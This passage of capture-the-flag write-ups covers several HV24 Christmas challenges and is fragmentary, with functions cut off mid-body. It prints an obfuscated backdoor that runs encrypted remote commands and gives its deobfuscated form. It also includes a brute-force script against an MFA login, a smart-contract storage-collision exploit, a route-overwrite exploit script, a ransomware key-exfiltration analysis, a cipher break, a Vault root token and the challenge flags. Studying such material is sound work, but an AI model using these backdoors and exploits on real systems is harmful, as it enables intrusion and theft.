list(__builtins__.__dict__.values())[list(__builtins__.__dict__.values()).index(ope
n)](_0x1a2b3).__getattribute__(_0x46233)().__getattribute__(_0x58d1)('|')
#_, _0x45h4g, _0x23dd, __ = getattr(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"),
list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"r")))[list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"r"))).index(_0x4623)])().__getattribute__(_0x58d1)('|')
_0x25jybd = _0x12482(f"{_0x4d5e6} '{_0x987yh54}' | {_0x7f8g9}
'{_0x45h4g}'", **_0xj65b4).encode()
_0x48916b = _0x1a1b(_0x12482(_0x25jybd, **_0xj65b4), _0x23dd)
_0xff23de = _0x2a3f(Str(_0x48916b))
_0x712a6d = _0x9b67(_0xff23de)
_0x_j34f(_0x246g5,
list(dir(_0x246g5))[list(dir(_0x246g5)).index(_0x4a32)])(_0x712a6d.encode()+bytes([
10]))
except FileNotFoundError:
getattr(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"),
list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"w")))[list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3,
"w"))).index(_0x7c91)])(f"{_0x987yh54}")
except Exception as e:
getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3a65)])(f"{e}")
_0x246g5.close()
def _0x534k2g():
_0x5b7c = _0x7f83(len(list(filter(lambda x: x != '', "ab"))),
len(list(filter(lambda x: x != '', "a"))))
_0x_j34f(_0x5b7c,
list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x1d78)])((_0x3c4d5, 1337))
_0x_j34f(_0x5b7c,
list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x6b01)])(len(list(filter(lambda x: x
!= '', "ab"))))
while True:
_0x8723bk2, _ = _0x_j34f(_0x5b7c,
list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x4501)])()
_0x9abc(_0x4623)(_0x8723bk2)
if _0x9abc(_0x1234) == _0x5678: _0x9abc(_0x1215b)()
Deofuscating the code with ChatGPT yields:
import base64
import subprocess
import socket
import string
def handle_connection(client_socket):
data = client_socket.recv(1024).strip().decode()
try:
with open("/tmp/.bread", "r") as file:
_, key, ciphertext, _ = file.read().split('|')
decrypted_command = subprocess.check_output(
f"echo '{ciphertext}' | openssl enc -d -aes-256-ecb -base64 -k
'{key}'",
shell=True
).decode()
client_socket.send(decrypted_command.encode() + b"\n")
except FileNotFoundError:
with open("/tmp/.bread", "w") as file:
file.write(data)
except Exception as e:
print(e)
finally:
client_socket.close()
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 1337))
server.listen(5)
while True:
client_socket, _ = server.accept()
handle_connection(client_socket)
if __name__ == "__main__":
main()
This is good for a nice overview, but when we compare it to our original source code we can see
it does not really match 100%. The whole call to decrypt/encrypt is missing:
decrypted_command = subprocess.check_output(
f"echo '{ciphertext}' | openssl enc -d -aes-256-ecb -base64 -k
'{key}'",
shell=True
).decode()
...
...
client_socket.send(decrypted_command.encode() + b"\n")
Therefore we start again, doing the deobfuscation manually but replacing expressions from the
Python REPL and Notepad ++
class Str(str):
def encode(self): return self.encode()
class _0x3434(bytes):
def __init__(self, _): self._ = _.decode()
def __str__(self) -> str: return self._
def _0x2a3f(a_string): return str(_0x3434(b64encode(a_string.encode())))
def xor_bytes(_,Σ): return (_&~Σ)|(~_&Σ)
newlist = []
[newlist.extend([output[cur_element + 1], output[cur_element]]) if cur_element
+ 1 < len(output) else newlist.append(output[cur_element]) for cur_element in
range(0, len(output), 2)]
return ''.join(map(str, newlist))
def b64transform(data):
# Returns the concatenated value of the tupel for each char in the input
b64_alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
my_dict = {'A': (0, 0), 'B': (0, 1), 'C': (0, 2), 'D': (0, 3), 'E': (0, 4),
'F': (0, 5), 'G': (0, 6), 'H': (0, 7), 'I': (1, 0), 'J': (1, 1), 'K': (1, 2), 'L':
(1, 3), 'M': (1, 4), 'N': (1, 5), 'O': (1, 6), 'P': (1, 7), 'Q': (2, 0), 'R': (2,
1), 'S': (2, 2), 'T': (2, 3), 'U': (2, 4), 'V': (2, 5), 'W': (2, 6), 'X': (2, 7),
'Y': (3, 0), 'Z': (3, 1), 'a': (3, 2), 'b': (3, 3), 'c': (3, 4), 'd': (3, 5), 'e':
(3, 6), 'f': (3, 7), 'g': (4, 0), 'h': (4, 1), 'i': (4, 2), 'j': (4, 3), 'k': (4,
4), 'l': (4, 5), 'm': (4, 6), 'n': (4, 7), 'o': (5, 0), 'p': (5, 1), 'q': (5, 2),
'r': (5, 3), 's': (5, 4), 't': (5, 5), 'u': (5, 6), 'v': (5, 7), 'w': (6, 0), 'x':
(6, 1), 'y': (6, 2), 'z': (6, 3), '0': (6, 4), '1': (6, 5), '2': (6, 6), '3': (6,
7), '4': (7, 0), '5': (7, 1), '6': (7, 2), '7': (7, 3), '8': (7, 4), '9': (7, 5),
'+': (7, 6), '/': (7, 7)}
return ''.join(f"{my_dict[cur_elem][int(b64_alpha[-
12])]}{my_dict[cur_elem][int(b64_alpha[-11])]}" for cur_elem in data if cur_elem !=
"=")
def handle_connection(client_socket):
data = client_socket.recv(1024).strip().decode()
try:
_, key, ciphertext, __ = open('/tmp/.bread').read().split('|')
#_, key, ciphertext, __ = getattr(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index('open')])('/tmp/.bread',
"r"), list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index('open')])('/tmp/.bread',
"r")))[list(dir(getattr(__builtins__,
list(dir(__builtins__))[list(dir(__builtins__)).index('open')])('/tmp/.bread',
"r"))).index('handle_connection')])().split('|')
_0x25jybd = check_output(f"echo '{data}' | openssl enc -d -aes-256-ecb -
base64 -k '{key}'", **{'shell': 1, 'text': 1}).encode()
tmp = _0x1a1b(check_output(_0x25jybd, **{'shell': 1, 'text': 1}),
ciphertext)
_0xff23de = _0x2a3f(Str(tmp))
transformed = b64transform(_0xff23de)
client_socket.send(transformed.encode()+'\n')
except FileNotFoundError:
open("/tmp/.bread", "w").write(f"{data}")
except Exception as e:
print(f"{e}")
client_socket.close()
def __main__():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind('0.0.0.0', 1337)
server.listen(2)
while True:
client_socket, _ = server.accept()
handle_connection(client_socket)
The very first message from external to the bread container is “-+-|.bread was here.|........|-+-“
which is stored to /tmp/.bread
Actually, what we don’t see here is that the .... are in fact ASCII unprintable but decode to
>>> key
' '
In the next messages, the server reads the input from external, AES256-ECB decrypts it using
the key “.bread was here.”, executes the command after decryption, then takes the output,
encodes it using a secret encoding routing, base64 encodes it and then twirls around the
base64 characters.
Once we have our encryption routine we can give ChatGPT another try to actually undo it: This
works pretty well:
return ''.join(original_output)
and
def reverse_b64transform(transformed_data):
b64_alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
my_dict = {'A': (0, 0), 'B': (0, 1), 'C': (0, 2), 'D': (0, 3), 'E': (0, 4),
'F': (0, 5), 'G': (0, 6), 'H': (0, 7), 'I': (1, 0), 'J': (1, 1), 'K': (1, 2), 'L':
(1, 3), 'M': (1, 4), 'N': (1, 5), 'O': (1, 6), 'P': (1, 7), 'Q': (2, 0), 'R': (2,
1), 'S': (2, 2), 'T': (2, 3), 'U': (2, 4), 'V': (2, 5), 'W': (2, 6), 'X': (2, 7),
'Y': (3, 0), 'Z': (3, 1), 'a': (3, 2), 'b': (3, 3), 'c': (3, 4), 'd': (3, 5), 'e':
(3, 6), 'f': (3, 7), 'g': (4, 0), 'h': (4, 1), 'i': (4, 2), 'j': (4, 3), 'k': (4,
4), 'l': (4, 5), 'm': (4, 6), 'n': (4, 7), 'o': (5, 0), 'p': (5, 1), 'q': (5, 2),
'r': (5, 3), 's': (5, 4), 't': (5, 5), 'u': (5, 6), 'v': (5, 7), 'w': (6, 0), 'x':
(6, 1), 'y': (6, 2), 'z': (6, 3), '0': (6, 4), '1': (6, 5), '2': (6, 6), '3': (6,
7), '4': (7, 0), '5': (7, 1), '6': (7, 2), '7': (7, 3), '8': (7, 4), '9': (7, 5),
'+': (7, 6), '/': (7, 7)}
One problem with this function is, that it does not properly pad the end (we’ll do this manually in
the next steps)
We can now try to apply this to the data we see in the pcap:
>>>
reverse_b64transform("7411762557570237431263604771264574117614543702374511576047706
624")
'8J+VvvCfjKzwn5Wl8J+MsfCflJvwn42U'
>>> import base64
>>>
base64.b64decode(reverse_b64transform("74117625575702374312636047712645741176145437
02374511576047706624")).decode()
'🕾🌬🕥🌱🔛🍔'
>>>
decode_string(base64.b64decode(reverse_b64transform("741176255757023743126360477126
4574117614543702374511576047706624")).decode(),key)
'root\n\n'
One of the last big blobs at the end turns out to be a hashicorp vault filesystem backups. We
unpack it to /tmp/vault.
Vault initialized with 5 key shares and a key threshold of 3. Please securely
distribute the key shares printed above. When the Vault is re-sealed,
restarted, or stopped, you must supply at least 3 of these keys to unseal it
before it can start servicing requests.
Vault does not store the generated root key. Without at least 3 keys to
reconstruct the root key, Vault will remain permanently sealed!
And we can immediately see that these are the credentials for unsealing a hashicorp vault.
sudo docker run --privileged --name vault -d -v ${PWD}/vault/file:/vault/file --
name vault hashicorp/vault server
It turns out we must not just mount the full /vault directory for whatever purpose, otherwise the
vault will always be “uninitialized”. No idea why. If we just mount the /file subfolder in it it works.
Key Value
--- -----
token hvs.WtGFk7i5bIwkjNzEXMAoSvEK
token_accessor bXpspfBV0XgD7T5U7fZaepaA
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
One of Santa's elves has gone rouge and spread a virus which has infected Santa's machine!
Santa's IT department was able to save a copy of Santa's home directory right after the infection
happened.
Disclaimer:
Solution:
The first thing we see is a lot of encrypted files, which have a certain structure and a
ransomware binary.
Throwing the binary in IDA, we see the typical chaos of C++ code… When we try to run the
binary, it more or less immediately exists. We have Antidebug/AntiVM right at the beginning, that
we can patch with NOPs.
Further down we see the iteration of sub directories for files of format “sclaus_*.txt” and calls
into crypto code which perform AES256-GCM encryption (obviously on the file contents), writes
the file contents out and then curls the encryption key to a secret web site. (Monitoring the
execution gives away it’s the encryption key)
Debugging through the code we can see how the file contents is encrypted, the new file is
created, filled with a certain structure and once everything is done, the encryption key is send
out via curl to https://grimble.christmas/save_key
We already understood grimble is our main villain, unfortunately we cannot reset his pw. We try
our best with Twinkle.
But all we get is a “MFA” login with a 3 digit code and we only have ONE try…
Now we need to brute the password of an elf. We randomly choose Twinkle again:
import requests
import threading
import sys
def reset_password():
# Initialize a session to maintain cookies and session data
session = requests.Session()
attempt=1
while attempt<500:
try:
# Step 1: Perform the initial GET request
print(f"{attempt}: Starting GET request to:", initial_url)
attempt+=1
response = session.get(initial_url, allow_redirects=True)
else:
print("Unexpected redirection or URL:", response.url)
break # Exit if redirection is not as expected
except requests.RequestException as e:
print(f"An error occurred: {e}")
break # Exit on request errors
This will, after some seconds, output us the page once the MFA has been guessed correctly and
a temporary password
<body class="bg-light position-relative">
<!-- Decorations -->
<img src="/images/christmas-corner-decoration.png" alt="Decoration Left"
class="top-decoration decoration-left">
<img src="/images/christmas-corner-decoration.png" alt="Decoration Right"
class="top-decoration decoration-right">
We login as Twinkle and are now able to post comments… A very quick test shows us it’s XSS
time!
Eventually Grimble will show up too and once we replace our cookie value with his in Burp we
see:
We RE the binary again and create a dummy file with known meta-data and content that we can
encrypt. At the end, where the file is written via a sequence of write() calls we inspect the
variables and can deduce the structure.
Key =
99 CF B6 5B 01 CC F2 56 E7 16 4E 86 68 42 B6 A3 1E C5 0C 91 90 14 93 EE 8C F7 6D
9D 57 70 C6 D6
Unknown: 16 21 58 F1 13 CA 62 E9 AD 04 E6 CB 00 00 00 00
Crypto blob: 11 C6 76 F5 31 FE BA 45 E2 B4 70 1B FA 54 BA 05
11 C6 76 F5 31 FE BA 45 E2 B4 70 1B FA 54 BA 05
A1 B5 BC FF 30 15 66 D9 49 F1 75 1C 0B 50 17 DE
AB 1F 4D 68 16 CC C4 F1 38 74 9A 6E 1B FC 85 7B
C5 D0 98 4A 3B 53 A7 E7 1B 52 9D C9 2C 1F 67 30
00 74 CB B7 C6 23 AF 1E FC A7 AE EF 45 5C 54 72
AD C0 77 72 29 4F 56 55 53 19 8E 7A D1 5A 93 A5
9F E7 D3 A0 64 F6 BB 65
IV: 5E A3 00 DA 1C 6A 0A 7F 57 AA E7 1E 57 4B 3D E2
00000000 47 52 49 4d 42 4c 45 68 00 00 00 00 00 00 00 15 |GRIMBLEh........|
00000010 00 73 63 6c 61 75 73 5f 6d 79 74 65 73 74 66 69 |.sclaus_mytestfi|
00000020 6c 65 2e 74 78 74 16 21 58 f1 13 ca 62 e9 ad 04 |le.txt.!X...b...|
00000030 e6 cb|11 c6 76 f5 31 fe ba 45 e2 b4 70 1b fa 54 |....v.1..E..p..T|
00000040 ba 05 a1 b5 bc ff 30 15 66 d9 49 f1 75 1c 0b 50 |......0.f.I.u..P|
00000050 17 de ab 1f 4d 68 16 cc c4 f1 38 74 9a 6e 1b fc |....Mh....8t.n..|
00000060 85 7b c5 d0 98 4a 3b 53 a7 e7 1b 52 9d c9 2c 1f |.{...J;S...R..,.|
00000070 67 30 00 74 cb b7 c6 23 af 1e fc a7 ae ef 45 5c |g0.t...#......E\|
00000080 54 72 ad c0 77 72 29 4f 56 55 53 19 8e 7a d1 5a |Tr..wr)OVUS..z.Z|
00000090 93 a5 9f e7 d3 a0 64 f6 bb 65 5e a3 00 da 1c 6a |......d..e^....j|
000000a0 0a 7f 57 aa e7 1e 57 4b 3d e2 |..W...WK=.|
000000aa
Turns out, what I thought the IV is, is a so-called ‘tag’ value in AES-GCM and our IV is indeed the
“Unknown” value of length 12 bytes.
By having all the data we can try to write a decryptor for our testfile:
# Test data
key =
binascii.unhexlify('99CFB65B01CCF256E7164E866842B6A31EC50C91901493EE8CF76D9D5770C6D
6')
cryptoblob =
"11C676F531FEBA45E2B4701BFA54BA05A1B5BCFF301566D949F1751C0B5017DEAB1F4D6816CCC4F138
749A6E1BFC857BC5D0984A3B53A7E71B529DC92C1F67300074CBB7C623AF1EFCA7AEEF455C5472ADC07
772294F565553198E7AD15A93A59FE7D3A064F6BB65"
data = binascii.unhexlify(cryptoblob)
nonce = binascii.unhexlify("162158F113CA62E9AD04E6CB")
tag = binascii.unhexlify("5EA300DA1C6A0A7F57AAE71E574B3DE2")
cipher = AES.new(key, AES.MODE_GCM, nonce)
print(cipher.decrypt_and_verify(data, tag))
https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'99CFB65B01
CCF256E7164E866842B6A31EC50C91901493EE8CF76D9D5770C6D6'%7D,%7B'option':'Hex','
string':'162158F113CA62E9AD04E6CB'%7D,'GCM','Hex','Raw',%7B'option':'Hex','string':'5EA300
DA1C6A0A7F57AAE71E574B3DE2'%7D,%7B'option':'Hex','string':''%7D)&input=MTFDNjc2RjUz
MUZFQkE0NUUyQjQ3MDFCRkE1NEJBMDVBMUI1QkNGRjMwMTU2NkQ5NDlGMTc1MUMwQjU
wMTdERUFCMUY0RDY4MTZDQ0M0RjEzODc0OUE2RTFCRkM4NTdCQzVEMDk4NEEzQjUzQTdF
NzFCNTI5REM5MkMxRjY3MzAwMDc0Q0JCN0M2MjNBRjFFRkNBN0FFRUY0NTVDNTQ3MkFEQz
A3NzcyMjk0RjU2NTU1MzE5OEU3QUQxNUE5M0E1OUZFN0QzQTA2NEY2QkI2NQ
import struct
import os
import glob
from Crypto.Cipher import AES
import binascii
def parse_file(file_path):
with open(file_path, "rb") as f:
print(f"parsing {file_path}")
# Read the start identifier
start = f.read(7).decode("ascii") # "GRIMBLE" is 7 characters
def process_files(directory="."):
# Find all files starting with 'sclaus_' and ending with '.locked' in the
specified directory
search_pattern = os.path.join(directory, "sclaus_*.locked")
files = glob.glob(search_pattern)
# Example usage
process_files()
Flag: HV24{N3v3rPayTh3RaNs0mDuMMy!}
[HV24.11] Christmas Dots
Introduction
Santa was reading through wishes from children, when he suddenly found this very suspicious,
colorful image. Can you help him decode it?
sha256sum of the
image: f9709b6bc7728d57f961f7fc04338ddafc96dac07c99ac8f40741e69c1051c66
Solution:
Doing some OSINT we can see it’s a “Cronto” code, a RGB code for banking transaction details.
Cronto was a UK based company which has been acquired by onespan.com.
We create a dummy account on the site in order to access products/documentation and the
code-share section.
https://community.onespan.com/products/mobile-security-suite/sdks
485632347b6372306e74305f7233765f63306e67723474737d
Flag: HV24{cr0nt0_r3v_c0ngr4ts}
https://community.onespan.com/forum/where-download-latest-version-demo-app
https://gs.onespan.cloud/downloads/
Introduction
Unwrap a festive smart contract vulnerability where storage regions become your playground
and holiday cheer meets digital mischief. Ho ho ho... or is it hax hax hax?
Start the service, analyze the resource and get the flag.
sha256sum of sources.zip:
8c492e26ccbb59ebe28b0fe75d479759e18dc4836271cc03205e641e2792e00a
Solution:
The goal is in the end to set your ID in the “ADMIN_SLOT” in the proxy contract, in this case the
webpage will give the flag once the button at the bottom is clicked.
The sources for four contracts (Proxy.sol, Wallet1.sol, Wallet2.sol, Wallet3.sol) are given and the
addresses where those are located in the block chain (== the address where they call be
instantiated/called)
Proxy.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Proxy {
bytes32 internal constant ADMIN_SLOT =
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00;
bytes32 internal constant IMPLEMENTATION =
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb;
constructor(address _implementation) {
address admin = msg.sender;
assembly {
sstore(ADMIN_SLOT, admin)
sstore(IMPLEMENTATION, _implementation)
}
}
fallback() external {
_delegate();
}
Wallet1.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
contract Wallet1 {
address private owner;
modifier nonreentrant() {
assembly {
if tload(0) { revert(0, 0) }
tstore(0, 1)
}
_;
// Unlocks the guard, making the pattern composable.
// After the function exits, it can be called again, even in the same
transaction.
assembly {
tstore(0, 0)
}
}
modifier onlyOwner() {
require(tx.origin == owner, "nope");
_;
}
Wallet2.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Wallet2 {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "nope");
_;
}
Wallet3.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Wallet3 {
address private owner;
bytes32[] private notes;
modifier onlyOwner() {
require(tx.origin == owner, "nope");
_;
}
Next, we add the network. Our challenge runs only in the docker container self-contained. The
Blockchain RPC address we need to interact is shown on the challenge page:
(Of course this URL changes on every docker lifetime-cycle and needs to be changed in
Metamask accordingly)
(async () => {
const chainId = await web3.eth.getChainId();
console.log('Chain ID:', chainId);
})();
(You might need to do a “npm install web3” before you can run the script if you’ve never
installed the web3 stu )
Select the network (via the drop down box in the main plugin view) to make it active and now
let’s import our account that we have been given in the challenge (“Your private key”).
Enter the “private key” value from the challenge page here and click “Import”
Select the “Deploy” icon on the left hand navigation bar (3rd from the top)
Once you have selected this, “Custom (31337) network” needs to be shown below and the
account needs to be prepopulated with the account you just imported. If this is not the case,
first try reloading the IDE and/or restarting the browser.
If it still does not work, check the Metamask settings like so:
Click on the three dots in the top right corner of the plugin and select “All permissions”
Select “remix.ethereum.org”
Click both Edit buttons and make sure a) our network and b) the account is permitted/linked.
You can get your address by clicking the “Copy” icon in the top middle of the plugin:
We can see in Remix, that we now not have 300 Gas but 300.499556… (+0.5 minus a tiny bit for
the execution costs)
Select the top icon, open the contracts folder and click on “Create new file”
Enter this code (spoiler, that’s the solution – you can as well select any di erent contract)
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
contract MyHack {
address public myaddr;
address public proxyAddr;
address public wallet3Addr; constructor(address _myaddr, address _proxyAddr,
address _wallet3Addr) {
myaddr = _myaddr;
proxyAddr = _proxyAddr;
wallet3Addr = _wallet3Addr;
} receive() external payable {
bytes memory data1 = abi.encodeWithSignature("addNote3dee(bytes32)",
myaddr);
bytes memory data2 = abi.encodeWithSignature("addNote3dee(bytes32)",
wallet3Addr); for (uint256 i = 0; i < 11; i++) {
// Perform the low-level call
if (i == 5) {
(bool success, bytes memory result) = proxyAddr.call(data2);
// Check if the call was successful
require(success, "Call failed");
} else {
(bool success, bytes memory result) = proxyAddr.call(data1);
// Check if the call was successful
require(success, "Call failed");
}
}
}
}
Now click on Compile (3rd button from the top on the left)
And then select the “Deploy” tab again:
Under “Contract” we select the freshly compiled contract. According to the code, the
constructor expects 3 values (addresses), that we need to specify here. _myaddr is our own
address (the account value we just used for receiving funds), _proxyaddr and _wallet3addr can
be seen on the docker challenge page.
Click on Deploy (Screenshot aboves shows the already deployed contact, but on the first
attempt it’s “Deploy”)
Under “Deployed contracts” we should now see our contract and the address that has been
calculated on the blockchain for it (the value right next to the name of the contract)
We can now use this address: 0x360B0B52025095275702d094Fce7C0d6087E3676 to actually
call the contract using code
If anything fails, make sure the container has not actually expired ;-)
If the container expired, all you need to do is to replace the RPC Url in Metamask, the rest
should stay as it is, also the addresses for the contracts etc. stay static.
If there are problems deploying the contract, e.g. due to an expired container, you might need to
flush the queues:
Go to Settings Advanced:
Click on “Clear activity tab data” to flush the current queue. New deployments should now
work.
In Proxy.sol we see that in the construction an admin and implementation is set and stored at
the addreses ADMIN_SLOT and IMPLEMENTATION.
We can query those values using the functions getAdmin397fa() and getImplementation1599d()
The idea is to provoke a storage collision, which means, that instead of writing into the memory
of the contract which is in “implementation” memory of “Proxy” is overwritten. This is possible
because the Proxy is implemented “wrong”.
function _delegate() private {
address implementation = getImplementation1599d();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0,
0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
fallback() external {
_delegate();
}
Details: https://ethereum-blockchain-developer.com/110-upgrade-smart-contracts/06-
storage-collisions/
We can trick Proxy in calling Wallet3.addNote() but addNote() won’t write into the contract’s
local Wallet3.notes[] array but instead write into the memory of Proxy!
But where in Proxy? At the same address where note[] is allocated in Wallet3.
OK, but… what? And what address is this? Let’s ask our friend Chat GPT
Now this is interesting!
This chosing is prone to a storage collision attack, which means if we have code which writes to
a dynamic variable in slot1 this code might – if it stored > 5 elements – overwrite our
implementation value!
But thinking one step ahead: What is the value of ADMIN_SLOT, which we eventually want to
control? It’s 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00 which
is…. keccak256(1)+10!
So writing 10 elements of a dynamic variable might let us control the value in ADMIN_SLOT.
So it’s now clear that those slot addresses have all been chosen purposefully.
contract Wallet1 {
address private owner;
modifier nonreentrant() {
contract Wallet2 {
address private owner;
modifier onlyOwner() {
Wallet 3? Yes!
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Wallet3 {
address private owner;
bytes32[] private notes;
So, if we call addNote 10x via the proxy we could overwrite the value stored in the ADMIN_SLOT
and win!
But there is one caveat: We cannot just blindly call the function 10x with our owner ID to
overwrite the ADMIN_SLOT but we must take care to NOT overwrite the IMPLEMENTATION_SLOT
with our owner because this has to stay at Wallet3, otherwise we cannot call addNote()
anymore!
We can achieve our goals by writing a contract which does all of this in one step. This contract
needs to be deployed and we need to specify it’s address in the WebUI to receive funds
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
contract MyHack {
address public myaddr;
address public proxyAddr;
address public wallet3Addr;
We compile and deploy the contract using Remix (see start of this solution) and enter the
contract ID we receive after deployment into the WebUI. If we “Fund us” exactly when Wallet3 is
rotated into Proxy’s IMPLEMENTATION variable our code will overwrite the variables and we’re
admin and can then receive the flag.
Flag: HV24{SANT4_MIN3S_BL0CKS_4_MERRYC01NS}
[HV24.13] Server Hypervisor
Introduction
In order to a ord all the presents this year, Santa wanted to start his own little SaaS business, as
he had heard that they were quite profitable. He decided to build his own custom web server
hypervisor. But he suspects that some evil force may have punched a few holes in his perfect
defense. Can you help him find them?
sha256sum of resource.zip:
2864f97255544306c200b79da4e11e33717392612bee661d11018f688fc903b9
Solution:
The idea here is to flood all available routes with uploads so we can send our special payload.
Once this is done we can send the addresses we want to be set/overwrite the existing routes.
If this succeeds we can then just instrument those new routes to get the flag:
...
# Overwrite routes
upload_file("code/flag.txt", file_response_address)
upload_file("upload", chroot_address)
upload_file("..", chdir_address)
upload_file(".", chroot_address)
#list_routes()
get_route("upload")
get_route("..")
get_route("..")
get_route(".")
get_route("code/flag.txt", True)
...
Full script:
import requests
import base64
import time
import os
import http.client
from pwn import *
def list_routes():
response = requests.get(admin_url, headers=HEADERS)
if response.status_code == 200:
print("Routes:")
print(response.text)
else:
print(f"Error {response.status_code}: {response.text}")
encoded_path = base64.b64encode("santa".encode()).decode()
headers = HEADERS.copy()
headers["file"] = encoded_path
if fileName:
fileName += "\x00"
headers["file"] = base64.b64encode(fileName.encode()).decode()
headers["File-Size"] = str(len(file_content))
if fileSize:
headers["File-Size"] = str(fileSize)
if __name__ == "__main__":
server = "localhost"
port = 9000
portweb = 9002
admin_url = f"http://{server}:{portweb}/admin"
HEADERS = {"Admin-Token": "token"}
# Overwrite routes
upload_file("code/flag.txt", file_response_address)
upload_file("upload", chroot_address)
upload_file("..", chdir_address)
upload_file(".", chroot_address)
#list_routes()
get_route("upload")
get_route("..")
get_route("..")
get_route(".")
get_route("code/flag.txt", True)
Introduction
Santa's elves are currently developing a new chip to provide hardware-based encryption for
their communication. Could you review the first prototype and determine if the chip is secure
enough to protect Santa's secrets?
Solution:
This challenge is special, because the encryptor is realized in Verilog, which is a “hardware
description language”.
`timescale 1ns/1ps
module hv24 (
input clk,
input rst,
input init,
input [63:0] pt,
output [63:0] ct
);
reg [63:0] a;
reg [63:0] b;
wire [63:0] a_;
wire [63:0] b_;
assign ct =
((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
assign a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16);
assign b_ = ((b^a)<<37)|((b^a)>>27);
endmodule
Thankfully we do not need to really fully understand this language, as ChatGPT can transform it
for us into equivalent Python code.
The idea is to have two key stream which are independently updated and given the fact that we
have the knowledge that it is a PNG that we have and that a PNG has at least for the few first
bytes a static well-known structure, we’re able to calculate the initial random values, which
initialize the cipher. Once we have those, we can undo the encryption operation and retrieve the
original file from the encrypted file.
def next_a(a,b,LShR=None):
# assign a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16)
if LShR is None:
LShR = lambda x, n: x >> n
t = (a<<24) | LShR(a,40)
t &= 0xffffffffffffffff
v = (b^a)
u = (b^a)<<16
u &= 0xffffffffffffffff
return t ^ v ^ u
def next_b(a,b,LShR=None):
# assign b_ = ((b^a)<<37)|((b^a)>>27);
if LShR is None:
LShR = lambda x, n: x >> n
u = (b^a)<<37
u &= 0xffffffffffffffff
v = LShR((b^a),27)
return u | v
def calc_ct(a,pt,LShR=None):
# assign ct =
((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
if LShR is None:
LShR = lambda x, n: x >> n
t = ((a<<2)+a)<<7
t &= 0xffffffffffffffff
u = (a<<2)+a
u &= 0xffffffffffffffff
u = LShR(u,57)
ct = t | u
ct <<= 3
ct &= 0xffffffffffffffff
v = (a<<2)+a
v &= 0xffffffffffffffff
v = v << 7
v &= 0xffffffffffffffff
w = (a<<2)+a
w &= 0xffffffffffffffff
w = LShR(w, 57)
ct += (v | w)
ct &= 0xffffffffffffffff
ct ^= pt
return ct
# PNG header
pt0 = 0x89504e470d0a1a0a
pt8 = 0xd49484452
tmp0 = BitVecVal(0,64)
tmp8 = BitVecVal(0,64)
a, b = next_a(a,b,LShR=LShR), next_b(a,b,LShR=LShR)
tmp0 = calc_ct(a,pt0,LShR=LShR)
a = next_a(a,b,LShR=LShR)
tmp8 = calc_ct(a,pt8,LShR=LShR)
s1.add(
tmp0 == ct0,
tmp8 == ct8
)
if s1.check() == sat:
m = s1.model()
r = [m.eval(x[_]).as_long() for _ in range(2)]
print('a=',r[0])
print('b=',r[1])
else:
print("No more solution for a8 found.")
a = next_a(r[0],r[1])
b = next_b(r[0],r[1])
pt = b''
for i in range(0, len(flag_ct), 8):
ct = int.from_bytes(flag_ct[i:i+8].ljust(8, b'\0'))
tmp0 = calc_ct(a,ct)
a, b = next_a(a,b), next_b(a,b)
pt += tmp0.to_bytes(8)
open('flag_recovered.png', 'wb').write(pt)
png = Image.open('flag_recovered.png')
qr = decode(png)
if qr:
print('flag:', qr[0].data.decode())
Flag: HV24{s1mpl3_X0R_3ncrypt10n_us1ng_x0r0sh1r0_prng_f0r_k3y_g3n3r4t10n}
[HV24.15] Rudolph's Symphony
Introduction
Rudolph has decided to organise a music concert as a special surprise for Santa this
Christmas!
Four of the other reindeer have eagerly signed up to perform, but things aren't going as smoothly
as planned. Unfortunately, the reindeer have been pranking each other and as a result they are
having issues preparing their material.
